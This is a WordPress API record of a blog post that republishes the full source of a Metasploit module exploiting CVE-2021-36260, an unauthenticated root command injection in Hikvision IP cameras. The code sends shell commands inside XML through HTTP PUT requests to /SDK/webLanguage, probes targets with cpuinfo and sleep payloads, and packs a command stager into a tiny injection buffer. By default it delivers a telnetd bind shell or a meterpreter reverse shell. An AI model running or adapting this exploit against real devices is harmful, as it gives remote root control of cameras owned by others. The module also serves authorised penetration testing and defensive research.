{"id":21121,"date":"2022-02-28T20:18:23","date_gmt":"2022-02-28T17:18:23","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166167\/hikvision_cve_2021_36260_blind.rb.txt"},"modified":"2022-03-02T12:34:14","modified_gmt":"2022-03-02T09:04:14","slug":"hikvision-ip-camera-unauthenticated-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/hikvision-ip-camera-unauthenticated-command-injection\/","title":{"rendered":"Hikvision IP Camera Unauthenticated Command Injection"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">prepend Msf::Exploit::Remote::AutoCheck<br \/>\ninclude Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::FileDropper<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Hikvision IP Camera Unauthenticated Command Injection&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module exploits an unauthenticated command injection in a variety of Hikvision IP<br \/>\ncameras (CVE-2021-36260). The module inserts a command into an XML payload used with an<br \/>\nHTTP PUT request sent to the `\/SDK\/webLanguage` endpoint, resulting in command execution<br \/>\nas the `root` user.<\/p>\n<p dir=\"ltr\">This module specifically attempts to exploit the blind variant of the attack. The module<br \/>\nwas successfully tested against an HWI-B120-D\/W using firmware V5.5.101 build 200408. It<br \/>\nwas also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.<br \/>\nPlease see the Hikvision advisory for a full list of affected products.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Watchful_IP&#8217;, # Vulnerability discovery and disclosure<br \/>\n&#8216;bashis&#8217;, # Proof of concept<br \/>\n&#8216;jbaines-r7&#8217; # Metasploit module<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;CVE&#8217;, &#8216;2021-36260&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/watchfulip.github.io\/2021\/09\/18\/Hikvision-IP-Camera-Unauthenticated-RCE.html&#8217;],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.hikvision.com\/en\/support\/cybersecurity\/security-advisory\/security-notification-command-injection-vulnerability-in-some-hikvision-products\/security-notification-command-injection-vulnerability-in-some-hikvision-products\/&#8217;],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/mcw0\/PoC\/blob\/master\/CVE-2021-36260.py&#8217;]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-09-18&#8217;,<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_ARMLE],<br \/>\n&#8216;Privileged&#8217; =&gt; false,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Unix Command&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :unix_cmd,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n# the target has very limited payload targets and a tight payload space.<br \/>\n# bind_busybox_telnetd might be *the only* one.<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/bind_busybox_telnetd&#8217;,<br \/>\n# saving four bytes of payload space by using &#8216;sh&#8217; instead of &#8216;\/bin\/sh&#8217;<br \/>\n&#8216;LOGIN_CMD&#8217; =&gt; &#8216;sh&#8217;,<br \/>\n&#8216;Space&#8217; =&gt; 23<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Linux Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_ARMLE],<br \/>\n&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; [ &#8216;printf&#8217;, &#8216;echo&#8217; ],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/armle\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;RPORT&#8217; =&gt; 80,<br \/>\n&#8216;SSL&#8217; =&gt; false,<br \/>\n&#8216;MeterpreterTryToFork&#8217; =&gt; true<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options([<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;])<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\"># Check will test two things:<br \/>\n# 1. Is the endpoint a Hikvision camera?<br \/>\n# 2. Does the endpoint respond as expected to exploitation? This module is<br \/>\n# specifically testing for the blind variant of this attack so we key off<br \/>\n# of the returned HTTP status code. The developer&#8217;s test target responded<br \/>\n# to exploitation with a 500. Notes from bashis&#8217; exploit indicates that<br \/>\n# they saw targets respond with 200 as well, so we&#8217;ll accept that also.<br \/>\ndef check<br \/>\n# Hikvision landing page redirects to &#8216;\/doc\/page\/login.asp&#8217; via JavaScript:<br \/>\n# &lt;script&gt;<br \/>\n# window.location.href = &#8220;\/doc\/page\/login.asp?_&#8221; + (new Date()).getTime();<br \/>\n# &lt;\/script&gt;<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/&#8217;)<br \/>\n})<br \/>\nreturn CheckCode::Unknown(&#8220;Didn&#8217;t receive a response from the target.&#8221;) unless res<br \/>\nreturn CheckCode::Safe(&#8216;The target did not respond with a 200 OK&#8217;) unless res.code == 200<br \/>\nreturn CheckCode::Safe(&#8216;The target doesn\\&#8217;t appear to be a Hikvision device&#8217;) unless res.body.include?(&#8216;\/doc\/page\/login.asp?_&#8217;)<\/p>\n<p dir=\"ltr\">payload = &#8216;&lt;xml&gt;&lt;language&gt;$(cat \/proc\/cpuinfo)&lt;\/language&gt;&lt;\/xml&gt;&#8217;<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;PUT&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/SDK\/webLanguage&#8217;),<br \/>\n&#8216;data&#8217; =&gt; payload<br \/>\n})<\/p>\n<p dir=\"ltr\">return CheckCode::Unknown(&#8220;Didn&#8217;t receive a response from the target.&#8221;) unless res<br \/>\nreturn CheckCode::Safe(&#8216;The target did not respond with a 200 OK or 500 error&#8217;) unless (res.code == 200 || res.code == 500)<\/p>\n<p dir=\"ltr\"># Some cameras are not vulnerable and still respond 500. We can weed them out by making<br \/>\n# the remote target sleep and use a low timeout. This might not be good for high latency targets<br \/>\n# or for people using Metasploit as a vulnerability scanner&#8230; but it&#8217;s better than flagging all<br \/>\n# 500 responses as vulnerable.<br \/>\npayload = &#8216;&lt;xml&gt;&lt;language&gt;$(sleep 20)&lt;\/language&gt;&lt;\/xml&gt;&#8217;<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;PUT&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/SDK\/webLanguage&#8217;),<br \/>\n&#8216;data&#8217; =&gt; payload<br \/>\n}, 10)<\/p>\n<p dir=\"ltr\">return CheckCode::Appears(&#8216;It appears the target executed the provided sleep command.&#8217;) unless res<\/p>\n<p dir=\"ltr\">CheckCode::Safe(&#8216;The target did not execute the provided sleep command.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def execute_command(cmd, _opts = {})<br \/>\n# The injection space is very small. The entire snprintf is 0x1f bytes and the<br \/>\n# format string is:<br \/>\n#<br \/>\n# \/dav\/%s.tar.gz<br \/>\n#<br \/>\n# Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately,<br \/>\n# snprintf will let us reclaim &#8216;.tar.gz&#8217; so in reality, there are 26 bytes for<br \/>\n# our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes<br \/>\n# for payload. The &#8216;echo&#8217; stager has a minium of 26 bytes but we obviously don&#8217;t<br \/>\n# have that much space. We can steal the extra space from the &#8220;random&#8221; file name<br \/>\n# and compress &#8216; &gt;&gt; &#8216; to &#8216;&gt;&gt;&#8217;. That will get us below 23. Squeezing the extra<br \/>\n# bytes will also allow printf stager to do more than 1 byte per exploitation.<br \/>\ncmd = cmd.gsub(%r{tmp\/[0-9a-zA-Z]+}, @fname)<br \/>\ncmd = cmd.gsub(\/ &gt;\/, &#8216;&gt;&#8217;)<br \/>\ncmd = cmd.gsub(\/&gt; \/, &#8216;&gt;&#8217;)<\/p>\n<p dir=\"ltr\">payload = &#8220;&lt;xml&gt;&lt;language&gt;$(#{cmd})&lt;\/language&gt;&lt;\/xml&gt;&#8221;<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;PUT&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/SDK\/webLanguage&#8217;),<br \/>\n&#8216;data&#8217; =&gt; payload<br \/>\n})<\/p>\n<p dir=\"ltr\">fail_with(Failure::Disconnected, &#8216;Connection failed&#8217;) unless res<br \/>\nfail_with(Failure::UnexpectedReply, &#8220;HTTP status code is not 200 or 500: #{res.code}&#8221;) unless (res.code == 200 || res.code == 500)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nprint_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<\/p>\n<p dir=\"ltr\"># generate a random value for the tmp file name. See execute_command for details<br \/>\n@fname = &#8220;tmp\/#{Rex::Text.rand_text_alpha(1)}&#8221;<\/p>\n<p dir=\"ltr\">case target[&#8216;Type&#8217;]\nwhen :unix_cmd<br \/>\nexecute_command(payload.encoded)<br \/>\nwhen :linux_dropper<br \/>\n# 26 is technically a lie. See `execute_command` for additional insight<br \/>\nexecute_cmdstager(linemax: 26)<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Hikvision IP Camera Unauthenticated Command Injection&#8217;, &#8216;Description&#8217; =&gt; %q{ This module exploits an unauthenticated command injection in a variety &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21121","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21121","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21121"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21121\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21121"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21121"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21121"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}